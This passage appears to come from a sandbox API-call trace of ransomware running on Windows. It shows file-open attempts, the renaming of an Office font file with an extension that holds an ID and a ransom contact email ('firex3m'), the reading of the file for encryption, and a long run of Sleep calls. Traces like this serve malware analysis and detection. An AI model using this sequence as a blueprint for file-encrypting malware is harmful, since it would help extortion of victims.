(normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.047] Sleep (dwMilliseconds=0x1) [0269.059] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x6a | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0269.059] GetProcessHeap () returned 0x630000 [0269.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc8) returned 0x6fe3bb0 [0269.059] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.061] Sleep (dwMilliseconds=0x1) [0269.075] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd", len=0x70 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd") returned 1 [0269.075] GetProcessHeap () returned 0x630000 [0269.075] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc4) returned 0x6fe3bb0 [0269.075] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxclickhandler.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.077] Sleep (dwMilliseconds=0x1) [0269.090] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.exe", len=0x6e | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.exe") returned 1 [0269.091] GetProcessHeap () returned 0x630000 [0269.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc0) returned 0x6fe3bb0 [0269.091] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxclickhandler.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.092] Sleep (dwMilliseconds=0x1) [0269.108] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x6a | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0269.108] GetProcessHeap () returned 0x630000 [0269.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bbc) returned 0x6fe3bb0 [0269.108] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.109] Sleep (dwMilliseconds=0x1) [0269.122] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png", len=0x65 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png") returned 1 [0269.122] GetProcessHeap () returned 0x630000 [0269.122] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb8) returned 0x6fe3bb0 [0269.122] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.123] Sleep (dwMilliseconds=0x1) [0269.138] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", len=0x7a | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned 1 [0269.138] GetProcessHeap () returned 0x630000 [0269.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb4) returned 0x6fe3bb0 [0269.138] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.139] Sleep (dwMilliseconds=0x1) [0269.156] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png", len=0xb1 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png") returned 1 [0269.156] GetProcessHeap () returned 0x630000 [0269.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba0) returned 0x6fe3bb0 [0269.156] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagemedtile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.158] Sleep (dwMilliseconds=0x1) [0269.169] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png", len=0xb3 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png") returned 1 [0269.169] GetProcessHeap () returned 0x630000 [0269.169] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b9c) returned 0x6fe3bb0 [0269.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagelargetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.171] Sleep (dwMilliseconds=0x1) [0269.188] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png", len=0xb3 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png") returned 1 [0269.188] GetProcessHeap () returned 0x630000 [0269.188] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b88) returned 0x6fe3bb0 [0269.188] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesmalltile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.190] Sleep (dwMilliseconds=0x1) [0269.200] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png", len=0xb1 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png") returned 1 [0269.200] GetProcessHeap () returned 0x630000 [0269.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b84) returned 0x6fe3bb0 [0269.200] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagemedtile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.202] Sleep (dwMilliseconds=0x1) [0269.217] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png") returned 1 [0269.217] GetProcessHeap () returned 0x630000 [0269.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b70) returned 0x6fe3bb0 [0269.218] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagestorelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.218] Sleep (dwMilliseconds=0x1) [0269.232] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png") returned 1 [0269.232] GetProcessHeap () returned 0x630000 [0269.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b68) returned 0x6fe3bb0 [0269.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagesmalltile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.232] Sleep (dwMilliseconds=0x1) [0269.248] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png") returned 1 [0269.248] GetProcessHeap () returned 0x630000 [0269.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b5c) returned 0x6fe3bb0 [0269.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagebadgelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.250] Sleep (dwMilliseconds=0x1) [0269.262] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF", len=0x42 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF") returned 1 [0269.263] GetProcessHeap () returned 0x630000 [0269.263] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b54) returned 0x6fe3bb0 [0269.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcceb.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0269.264] CloseHandle (hObject=0x714) returned 1 [0269.264] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcceb.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcceb.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.265] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0269.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a500ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x123d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCCEB.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCCEBT~1.FIR")) returned 0x6d5400 [0269.265] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0269.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcceb.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0269.265] GetProcessHeap () returned 0x630000 [0269.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0269.266] GetProcessHeap () returned 0x630000 [0269.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0269.266] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.266] ReadFile (in: hFile=0x714, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 83 os_tid = 0x133c [0067.704] Sleep (dwMilliseconds=0x1) [0067.824] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.914] Sleep (dwMilliseconds=0x1) [0070.149] Sleep (dwMilliseconds=0x1) [0070.260] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.944] Sleep (dwMilliseconds=0x1) [0072.427] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.393] Sleep (dwMilliseconds=0x1) [0073.722] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.904] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.421] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.691] Sleep (dwMilliseconds=0x1) [0075.749] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.836] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.082] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.752] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.063] Sleep (dwMilliseconds=0x1) [0077.149] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.060] Sleep (dwMilliseconds=0x1) [0078.092] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.450] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.646] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.892] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.547] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.070] Sleep 